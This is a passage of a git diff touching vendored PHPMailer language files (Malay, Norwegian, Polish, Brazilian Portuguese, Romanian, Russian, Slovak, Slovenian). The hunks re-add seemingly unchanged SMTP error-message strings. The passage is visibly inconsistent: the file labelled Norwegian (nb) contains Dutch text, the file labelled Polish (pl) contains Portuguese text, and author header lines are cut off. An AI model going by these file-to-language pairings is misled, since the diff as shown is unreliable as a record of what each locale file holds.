ny variable: '; +$PHPMAILER_LANG['extension_missing'] = 'Tsy hita ny ampahany: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ms.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ms.php index 2a0151bb83..71db338343 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ms.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ms.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Ralat SMTP: Tidak dapat pengesahan.'; -$PHPMAILER_LANG['connect_host'] = 'Ralat SMTP: Tidak dapat menghubungi hos pelayan SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Ralat SMTP: Data tidak diterima oleh pelayan.'; -$PHPMAILER_LANG['empty_message'] = 'Tiada isi untuk mesej'; -$PHPMAILER_LANG['encoding'] = 'Pengekodan tidak diketahui: '; -$PHPMAILER_LANG['execute'] = 'Tidak dapat melaksanakan: '; -$PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses fail: '; -$PHPMAILER_LANG['file_open'] = 'Ralat Fail: Tidak dapat membuka fail: '; -$PHPMAILER_LANG['from_failed'] = 'Berikut merupakan ralat dari alamat e-mel: '; -$PHPMAILER_LANG['instantiate'] = 'Tidak dapat memberi contoh fungsi e-mel.'; -$PHPMAILER_LANG['invalid_address'] = 'Alamat emel tidak sah: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' jenis penghantar emel tidak disokong.'; -$PHPMAILER_LANG['provide_address'] = 'Anda perlu menyediakan sekurang-kurangnya satu alamat e-mel penerima.'; -$PHPMAILER_LANG['recipients_failed'] = 'Ralat SMTP: Penerima e-mel berikut telah gagal: '; -$PHPMAILER_LANG['signing'] = 'Ralat pada tanda tangan: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() telah gagal.'; -$PHPMAILER_LANG['smtp_error'] = 'Ralat pada pelayan SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Tidak boleh menetapkan atau menetapkan semula pembolehubah: '; -$PHPMAILER_LANG['extension_missing'] = 'Sambungan hilang: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Ralat SMTP: Tidak dapat pengesahan.'; +$PHPMAILER_LANG['connect_host'] = 'Ralat SMTP: Tidak dapat menghubungi hos pelayan SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Ralat SMTP: Data tidak diterima oleh pelayan.'; +$PHPMAILER_LANG['empty_message'] = 'Tiada isi untuk mesej'; +$PHPMAILER_LANG['encoding'] = 'Pengekodan tidak diketahui: '; +$PHPMAILER_LANG['execute'] = 'Tidak dapat melaksanakan: '; +$PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses fail: '; +$PHPMAILER_LANG['file_open'] = 'Ralat Fail: Tidak dapat membuka fail: '; +$PHPMAILER_LANG['from_failed'] = 'Berikut merupakan ralat dari alamat e-mel: '; +$PHPMAILER_LANG['instantiate'] = 'Tidak dapat memberi contoh fungsi e-mel.'; +$PHPMAILER_LANG['invalid_address'] = 'Alamat emel tidak sah: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' jenis penghantar emel tidak disokong.'; +$PHPMAILER_LANG['provide_address'] = 'Anda perlu menyediakan sekurang-kurangnya satu alamat e-mel penerima.'; +$PHPMAILER_LANG['recipients_failed'] = 'Ralat SMTP: Penerima e-mel berikut telah gagal: '; +$PHPMAILER_LANG['signing'] = 'Ralat pada tanda tangan: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() telah gagal.'; +$PHPMAILER_LANG['smtp_error'] = 'Ralat pada pelayan SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Tidak boleh menetapkan atau menetapkan semula pembolehubah: '; +$PHPMAILER_LANG['extension_missing'] = 'Sambungan hilang: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-nb.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-nb.php index 73e9f4aef2..65793ce2b9 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-nb.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-nb.php @@ -1,26 +1,26 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP-fout: authenticatie mislukt.'; -$PHPMAILER_LANG['buggy_php'] = 'PHP versie gededecteerd die onderhavig is aan een bug die kan resulteren in gecorrumpeerde berichten. Om dit te voorkomen, gebruik SMTP voor het verzenden van berichten, zet de mail.add_x_header optie in uw php.ini file uit, gebruik MacOS of Linux, of pas de gebruikte PHP versie aan naar versie 7.0.17+ or 7.1.3+.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP-fout: kon niet verbinden met SMTP-host.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP-fout: data niet geaccepteerd.'; -$PHPMAILER_LANG['empty_message'] = 'Berichttekst is leeg'; -$PHPMAILER_LANG['encoding'] = 'Onbekende codering: '; -$PHPMAILER_LANG['execute'] = 'Kon niet uitvoeren: '; -$PHPMAILER_LANG['extension_missing'] = 'Extensie afwezig: '; -$PHPMAILER_LANG['file_access'] = 'Kreeg geen toegang tot bestand: '; -$PHPMAILER_LANG['file_open'] = 'Bestandsfout: kon bestand niet openen: '; -$PHPMAILER_LANG['from_failed'] = 'Het volgende afzendersadres is mislukt: '; -$PHPMAILER_LANG['instantiate'] = 'Kon mailfunctie niet initialiseren.'; -$PHPMAILER_LANG['invalid_address'] = 'Ongeldig adres: '; -$PHPMAILER_LANG['invalid_header'] = 'Ongeldige header naam of waarde'; -$PHPMAILER_LANG['invalid_hostentry'] = 'Ongeldige hostentry: '; -$PHPMAILER_LANG['invalid_host'] = 'Ongeldige host: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer wordt niet ondersteund.'; -$PHPMAILER_LANG['provide_address'] = 'Er moet minstens één ontvanger worden opgegeven.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP-fout: de volgende ontvangers zijn mislukt: '; -$PHPMAILER_LANG['signing'] = 'Signeerfout: '; -$PHPMAILER_LANG['smtp_code'] = 'SMTP code: '; -$PHPMAILER_LANG['smtp_code_ex'] = 'Aanvullende SMTP informatie: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Verbinding mislukt.'; -$PHPMAILER_LANG['smtp_detail'] = 'Detail: '; -$PHPMAILER_LANG['smtp_error'] = 'SMTP-serverfout: '; -$PHPMAILER_LANG['variable_set'] = 'Kan de volgende variabele niet instellen of resetten: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP-fout: authenticatie mislukt.'; +$PHPMAILER_LANG['buggy_php'] = 'PHP versie gededecteerd die onderhavig is aan een bug die kan resulteren in gecorrumpeerde berichten. Om dit te voorkomen, gebruik SMTP voor het verzenden van berichten, zet de mail.add_x_header optie in uw php.ini file uit, gebruik MacOS of Linux, of pas de gebruikte PHP versie aan naar versie 7.0.17+ or 7.1.3+.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP-fout: kon niet verbinden met SMTP-host.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP-fout: data niet geaccepteerd.'; +$PHPMAILER_LANG['empty_message'] = 'Berichttekst is leeg'; +$PHPMAILER_LANG['encoding'] = 'Onbekende codering: '; +$PHPMAILER_LANG['execute'] = 'Kon niet uitvoeren: '; +$PHPMAILER_LANG['extension_missing'] = 'Extensie afwezig: '; +$PHPMAILER_LANG['file_access'] = 'Kreeg geen toegang tot bestand: '; +$PHPMAILER_LANG['file_open'] = 'Bestandsfout: kon bestand niet openen: '; +$PHPMAILER_LANG['from_failed'] = 'Het volgende afzendersadres is mislukt: '; +$PHPMAILER_LANG['instantiate'] = 'Kon mailfunctie niet initialiseren.'; +$PHPMAILER_LANG['invalid_address'] = 'Ongeldig adres: '; +$PHPMAILER_LANG['invalid_header'] = 'Ongeldige header naam of waarde'; +$PHPMAILER_LANG['invalid_hostentry'] = 'Ongeldige hostentry: '; +$PHPMAILER_LANG['invalid_host'] = 'Ongeldige host: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer wordt niet ondersteund.'; +$PHPMAILER_LANG['provide_address'] = 'Er moet minstens één ontvanger worden opgegeven.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP-fout: de volgende ontvangers zijn mislukt: '; +$PHPMAILER_LANG['signing'] = 'Signeerfout: '; +$PHPMAILER_LANG['smtp_code'] = 'SMTP code: '; +$PHPMAILER_LANG['smtp_code_ex'] = 'Aanvullende SMTP informatie: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Verbinding mislukt.'; +$PHPMAILER_LANG['smtp_detail'] = 'Detail: '; +$PHPMAILER_LANG['smtp_error'] = 'SMTP-serverfout: '; +$PHPMAILER_LANG['variable_set'] = 'Kan de volgende variabele niet instellen of resetten: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-pl.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-pl.php index d989efe6a4..23caa71bee 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-pl.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-pl.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Erro do SMTP: Não foi possível realizar a autenticação.'; -$PHPMAILER_LANG['connect_host'] = 'Erro do SMTP: Não foi possível realizar ligação com o servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Erro do SMTP: Os dados foram rejeitados.'; -$PHPMAILER_LANG['empty_message'] = 'A mensagem no e-mail está vazia.'; -$PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; -$PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; -$PHPMAILER_LANG['file_access'] = 'Não foi possível aceder o ficheiro: '; -$PHPMAILER_LANG['file_open'] = 'Abertura do ficheiro: Não foi possível abrir o ficheiro: '; -$PHPMAILER_LANG['from_failed'] = 'Ocorreram falhas nos endereços dos seguintes remententes: '; -$PHPMAILER_LANG['instantiate'] = 'Não foi possível iniciar uma instância da função mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Não foi enviado nenhum e-mail para o endereço de e-mail inválido: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; -$PHPMAILER_LANG['provide_address'] = 'Tem de fornecer pelo menos um endereço como destinatário do e-mail.'; -$PHPMAILER_LANG['recipients_failed'] = 'Erro do SMTP: O endereço do seguinte destinatário falhou: '; -$PHPMAILER_LANG['signing'] = 'Erro ao assinar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; -$PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; -$PHPMAILER_LANG['extension_missing'] = 'Extensão em falta: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Erro do SMTP: Não foi possível realizar a autenticação.'; +$PHPMAILER_LANG['connect_host'] = 'Erro do SMTP: Não foi possível realizar ligação com o servidor SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Erro do SMTP: Os dados foram rejeitados.'; +$PHPMAILER_LANG['empty_message'] = 'A mensagem no e-mail está vazia.'; +$PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; +$PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; +$PHPMAILER_LANG['file_access'] = 'Não foi possível aceder o ficheiro: '; +$PHPMAILER_LANG['file_open'] = 'Abertura do ficheiro: Não foi possível abrir o ficheiro: '; +$PHPMAILER_LANG['from_failed'] = 'Ocorreram falhas nos endereços dos seguintes remententes: '; +$PHPMAILER_LANG['instantiate'] = 'Não foi possível iniciar uma instância da função mail.'; +$PHPMAILER_LANG['invalid_address'] = 'Não foi enviado nenhum e-mail para o endereço de e-mail inválido: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; +$PHPMAILER_LANG['provide_address'] = 'Tem de fornecer pelo menos um endereço como destinatário do e-mail.'; +$PHPMAILER_LANG['recipients_failed'] = 'Erro do SMTP: O endereço do seguinte destinatário falhou: '; +$PHPMAILER_LANG['signing'] = 'Erro ao assinar: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; +$PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; +$PHPMAILER_LANG['extension_missing'] = 'Extensão em falta: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt_br.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt_br.php index 161c0c46b2..d8638098ce 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt_br.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-pt_br.php @@ -1,30 +1,30 @@ - - * @author Lucas Guimarães - * @author Phelipe Alves - * @author Fabio Beneditto - */ - -$PHPMAILER_LANG['authenticate'] = 'Erro de SMTP: Não foi possível autenticar.'; -$PHPMAILER_LANG['connect_host'] = 'Erro de SMTP: Não foi possível conectar ao servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Erro de SMTP: Dados rejeitados.'; -$PHPMAILER_LANG['empty_message'] = 'Mensagem vazia'; -$PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; -$PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; -$PHPMAILER_LANG['file_access'] = 'Não foi possível acessar o arquivo: '; -$PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: Não foi possível abrir o arquivo: '; -$PHPMAILER_LANG['from_failed'] = 'Os seguintes remetentes falharam: '; -$PHPMAILER_LANG['instantiate'] = 'Não foi possível instanciar a função mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Endereço de e-mail inválido: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; -$PHPMAILER_LANG['provide_address'] = 'Você deve informar pelo menos um destinatário.'; -$PHPMAILER_LANG['recipients_failed'] = 'Erro de SMTP: Os seguintes destinatários falharam: '; -$PHPMAILER_LANG['signing'] = 'Erro de Assinatura: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; -$PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; -$PHPMAILER_LANG['extension_missing'] = 'Extensão não existe: '; + + * @author Lucas Guimarães + * @author Phelipe Alves + * @author Fabio Beneditto + */ + +$PHPMAILER_LANG['authenticate'] = 'Erro de SMTP: Não foi possível autenticar.'; +$PHPMAILER_LANG['connect_host'] = 'Erro de SMTP: Não foi possível conectar ao servidor SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Erro de SMTP: Dados rejeitados.'; +$PHPMAILER_LANG['empty_message'] = 'Mensagem vazia'; +$PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; +$PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; +$PHPMAILER_LANG['file_access'] = 'Não foi possível acessar o arquivo: '; +$PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: Não foi possível abrir o arquivo: '; +$PHPMAILER_LANG['from_failed'] = 'Os seguintes remetentes falharam: '; +$PHPMAILER_LANG['instantiate'] = 'Não foi possível instanciar a função mail.'; +$PHPMAILER_LANG['invalid_address'] = 'Endereço de e-mail inválido: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; +$PHPMAILER_LANG['provide_address'] = 'Você deve informar pelo menos um destinatário.'; +$PHPMAILER_LANG['recipients_failed'] = 'Erro de SMTP: Os seguintes destinatários falharam: '; +$PHPMAILER_LANG['signing'] = 'Erro de Assinatura: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; +$PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; +$PHPMAILER_LANG['extension_missing'] = 'Extensão não existe: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ro.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ro.php index d09959675b..292ec1e48f 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ro.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ro.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Eroare SMTP: Autentificarea a eșuat.'; -$PHPMAILER_LANG['connect_host'] = 'Eroare SMTP: Conectarea la serverul SMTP a eșuat.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Eroare SMTP: Datele nu au fost acceptate.'; -$PHPMAILER_LANG['empty_message'] = 'Mesajul este gol.'; -$PHPMAILER_LANG['encoding'] = 'Encodare necunoscută: '; -$PHPMAILER_LANG['execute'] = 'Nu se poate executa următoarea comandă: '; -$PHPMAILER_LANG['file_access'] = 'Nu se poate accesa următorul fișier: '; -$PHPMAILER_LANG['file_open'] = 'Eroare fișier: Nu se poate deschide următorul fișier: '; -$PHPMAILER_LANG['from_failed'] = 'Următoarele adrese From au dat eroare: '; -$PHPMAILER_LANG['instantiate'] = 'Funcția mail nu a putut fi inițializată.'; -$PHPMAILER_LANG['invalid_address'] = 'Adresa de email nu este validă: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nu este suportat.'; -$PHPMAILER_LANG['provide_address'] = 'Trebuie să adăugați cel puțin o adresă de email.'; -$PHPMAILER_LANG['recipients_failed'] = 'Eroare SMTP: Următoarele adrese de email au eșuat: '; -$PHPMAILER_LANG['signing'] = 'A aparut o problemă la semnarea emailului. '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Conectarea la serverul SMTP a eșuat.'; -$PHPMAILER_LANG['smtp_error'] = 'Eroare server SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Nu se poate seta/reseta variabila. '; -$PHPMAILER_LANG['extension_missing'] = 'Lipsește extensia: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Eroare SMTP: Autentificarea a eșuat.'; +$PHPMAILER_LANG['connect_host'] = 'Eroare SMTP: Conectarea la serverul SMTP a eșuat.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Eroare SMTP: Datele nu au fost acceptate.'; +$PHPMAILER_LANG['empty_message'] = 'Mesajul este gol.'; +$PHPMAILER_LANG['encoding'] = 'Encodare necunoscută: '; +$PHPMAILER_LANG['execute'] = 'Nu se poate executa următoarea comandă: '; +$PHPMAILER_LANG['file_access'] = 'Nu se poate accesa următorul fișier: '; +$PHPMAILER_LANG['file_open'] = 'Eroare fișier: Nu se poate deschide următorul fișier: '; +$PHPMAILER_LANG['from_failed'] = 'Următoarele adrese From au dat eroare: '; +$PHPMAILER_LANG['instantiate'] = 'Funcția mail nu a putut fi inițializată.'; +$PHPMAILER_LANG['invalid_address'] = 'Adresa de email nu este validă: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nu este suportat.'; +$PHPMAILER_LANG['provide_address'] = 'Trebuie să adăugați cel puțin o adresă de email.'; +$PHPMAILER_LANG['recipients_failed'] = 'Eroare SMTP: Următoarele adrese de email au eșuat: '; +$PHPMAILER_LANG['signing'] = 'A aparut o problemă la semnarea emailului. '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Conectarea la serverul SMTP a eșuat.'; +$PHPMAILER_LANG['smtp_error'] = 'Eroare server SMTP: '; +$PHPMAILER_LANG['variable_set'] = 'Nu se poate seta/reseta variabila. '; +$PHPMAILER_LANG['extension_missing'] = 'Lipsește extensia: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ru.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ru.php index a5cb050941..8c8c5e8177 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-ru.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-ru.php @@ -1,28 +1,28 @@ - - * @author Foster Snowhill - */ - -$PHPMAILER_LANG['authenticate'] = 'Ошибка SMTP: ошибка авторизации.'; -$PHPMAILER_LANG['connect_host'] = 'Ошибка SMTP: не удается подключиться к SMTP-серверу.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Ошибка SMTP: данные не приняты.'; -$PHPMAILER_LANG['encoding'] = 'Неизвестная кодировка: '; -$PHPMAILER_LANG['execute'] = 'Невозможно выполнить команду: '; -$PHPMAILER_LANG['file_access'] = 'Нет доступа к файлу: '; -$PHPMAILER_LANG['file_open'] = 'Файловая ошибка: не удаётся открыть файл: '; -$PHPMAILER_LANG['from_failed'] = 'Неверный адрес отправителя: '; -$PHPMAILER_LANG['instantiate'] = 'Невозможно запустить функцию mail().'; -$PHPMAILER_LANG['provide_address'] = 'Пожалуйста, введите хотя бы один email-адрес получателя.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' — почтовый сервер не поддерживается.'; -$PHPMAILER_LANG['recipients_failed'] = 'Ошибка SMTP: не удалась отправка таким адресатам: '; -$PHPMAILER_LANG['empty_message'] = 'Пустое сообщение'; -$PHPMAILER_LANG['invalid_address'] = 'Не отправлено из-за неправильного формата email-адреса: '; -$PHPMAILER_LANG['signing'] = 'Ошибка подписи: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Ошибка соединения с SMTP-сервером'; -$PHPMAILER_LANG['smtp_error'] = 'Ошибка SMTP-сервера: '; -$PHPMAILER_LANG['variable_set'] = 'Невозможно установить или сбросить переменную: '; -$PHPMAILER_LANG['extension_missing'] = 'Расширение отсутствует: '; + + * @author Foster Snowhill + */ + +$PHPMAILER_LANG['authenticate'] = 'Ошибка SMTP: ошибка авторизации.'; +$PHPMAILER_LANG['connect_host'] = 'Ошибка SMTP: не удается подключиться к SMTP-серверу.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Ошибка SMTP: данные не приняты.'; +$PHPMAILER_LANG['encoding'] = 'Неизвестная кодировка: '; +$PHPMAILER_LANG['execute'] = 'Невозможно выполнить команду: '; +$PHPMAILER_LANG['file_access'] = 'Нет доступа к файлу: '; +$PHPMAILER_LANG['file_open'] = 'Файловая ошибка: не удаётся открыть файл: '; +$PHPMAILER_LANG['from_failed'] = 'Неверный адрес отправителя: '; +$PHPMAILER_LANG['instantiate'] = 'Невозможно запустить функцию mail().'; +$PHPMAILER_LANG['provide_address'] = 'Пожалуйста, введите хотя бы один email-адрес получателя.'; +$PHPMAILER_LANG['mailer_not_supported'] = ' — почтовый сервер не поддерживается.'; +$PHPMAILER_LANG['recipients_failed'] = 'Ошибка SMTP: не удалась отправка таким адресатам: '; +$PHPMAILER_LANG['empty_message'] = 'Пустое сообщение'; +$PHPMAILER_LANG['invalid_address'] = 'Не отправлено из-за неправильного формата email-адреса: '; +$PHPMAILER_LANG['signing'] = 'Ошибка подписи: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Ошибка соединения с SMTP-сервером'; +$PHPMAILER_LANG['smtp_error'] = 'Ошибка SMTP-сервера: '; +$PHPMAILER_LANG['variable_set'] = 'Невозможно установить или сбросить переменную: '; +$PHPMAILER_LANG['extension_missing'] = 'Расширение отсутствует: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sk.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sk.php index 0ddf3a4001..028f5bc496 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sk.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sk.php @@ -1,30 +1,30 @@ - - * @author Peter Orlický - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Chyba autentifikácie.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Nebolo možné nadviazať spojenie so SMTP serverom.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dáta neboli prijaté'; -$PHPMAILER_LANG['empty_message'] = 'Prázdne telo správy.'; -$PHPMAILER_LANG['encoding'] = 'Neznáme kódovanie: '; -$PHPMAILER_LANG['execute'] = 'Nedá sa vykonať: '; -$PHPMAILER_LANG['file_access'] = 'Súbor nebol nájdený: '; -$PHPMAILER_LANG['file_open'] = 'File Error: Súbor sa otvoriť pre čítanie: '; -$PHPMAILER_LANG['from_failed'] = 'Následujúca adresa From je nesprávna: '; -$PHPMAILER_LANG['instantiate'] = 'Nedá sa vytvoriť inštancia emailovej funkcie.'; -$PHPMAILER_LANG['invalid_address'] = 'Neodoslané, emailová adresa je nesprávna: '; -$PHPMAILER_LANG['invalid_hostentry'] = 'Záznam hostiteľa je nesprávny: '; -$PHPMAILER_LANG['invalid_host'] = 'Hostiteľ je nesprávny: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' emailový klient nieje podporovaný.'; -$PHPMAILER_LANG['provide_address'] = 'Musíte zadať aspoň jednu emailovú adresu príjemcu.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Adresy príjemcov niesu správne '; -$PHPMAILER_LANG['signing'] = 'Chyba prihlasovania: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() zlyhalo.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP chyba serveru: '; -$PHPMAILER_LANG['variable_set'] = 'Nemožno nastaviť alebo resetovať premennú: '; -$PHPMAILER_LANG['extension_missing'] = 'Chýba rozšírenie: '; + + * @author Peter Orlický + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Chyba autentifikácie.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Nebolo možné nadviazať spojenie so SMTP serverom.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dáta neboli prijaté'; +$PHPMAILER_LANG['empty_message'] = 'Prázdne telo správy.'; +$PHPMAILER_LANG['encoding'] = 'Neznáme kódovanie: '; +$PHPMAILER_LANG['execute'] = 'Nedá sa vykonať: '; +$PHPMAILER_LANG['file_access'] = 'Súbor nebol nájdený: '; +$PHPMAILER_LANG['file_open'] = 'File Error: Súbor sa otvoriť pre čítanie: '; +$PHPMAILER_LANG['from_failed'] = 'Následujúca adresa From je nesprávna: '; +$PHPMAILER_LANG['instantiate'] = 'Nedá sa vytvoriť inštancia emailovej funkcie.'; +$PHPMAILER_LANG['invalid_address'] = 'Neodoslané, emailová adresa je nesprávna: '; +$PHPMAILER_LANG['invalid_hostentry'] = 'Záznam hostiteľa je nesprávny: '; +$PHPMAILER_LANG['invalid_host'] = 'Hostiteľ je nesprávny: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' emailový klient nieje podporovaný.'; +$PHPMAILER_LANG['provide_address'] = 'Musíte zadať aspoň jednu emailovú adresu príjemcu.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Adresy príjemcov niesu správne '; +$PHPMAILER_LANG['signing'] = 'Chyba prihlasovania: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() zlyhalo.'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP chyba serveru: '; +$PHPMAILER_LANG['variable_set'] = 'Nemožno nastaviť alebo resetovať premennú: '; +$PHPMAILER_LANG['extension_missing'] = 'Chýba rozšírenie: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sl.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sl.php index 98076930cc..c437a88622 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sl.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sl.php @@ -1,31 +1,31 @@ - - * @author Filip Š - * @author Blaž Oražem - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP napaka: Avtentikacija ni uspela.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP napaka: Vzpostavljanje povezave s SMTP gostiteljem ni uspelo.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP napaka: Strežnik zavrača podatke.'; -$PHPMAILER_LANG['empty_message'] = 'E-poštno sporočilo nima vsebine.'; -$PHPMAILER_LANG['encoding'] = 'Nepoznan tip kodiranja: '; -$PHPMAILER_LANG['execute'] = 'Operacija ni uspela: '; -$PHPMAILER_LANG['file_access'] = 'Nimam dostopa do datoteke: '; -$PHPMAILER_LANG['file_open'] = 'Ne morem odpreti datoteke: '; -$PHPMAILER_LANG['from_failed'] = 'Neveljaven e-naslov pošiljatelja: '; -$PHPMAILER_LANG['instantiate'] = 'Ne morem inicializirati mail funkcije.'; -$PHPMAILER_LANG['invalid_address'] = 'E-poštno sporočilo ni bilo poslano. E-naslov je neveljaven: '; -$PHPMAILER_LANG['invalid_hostentry'] = 'Neveljaven vnos gostitelja: '; -$PHPMAILER_LANG['invalid_host'] = 'Neveljaven gostitelj: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer ni podprt.'; -$PHPMAILER_LANG['provide_address'] = 'Prosimo, vnesite vsaj enega naslovnika.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP napaka: Sledeči naslovniki so neveljavni: '; -$PHPMAILER_LANG['signing'] = 'Napaka pri podpisovanju: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Ne morem vzpostaviti povezave s SMTP strežnikom.'; -$PHPMAILER_LANG['smtp_error'] = 'Napaka SMTP strežnika: '; -$PHPMAILER_LANG['variable_set'] = 'Ne morem nastaviti oz. ponastaviti spremenljivke: '; -$PHPMAILER_LANG['extension_missing'] = 'Manjkajoča razširitev: '; + + * @author Filip Š + * @author Blaž Oražem + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP napaka: Avtentikacija ni uspela.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP napaka: Vzpostavljanje povezave s SMTP gostiteljem ni uspelo.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP napaka: Strežnik 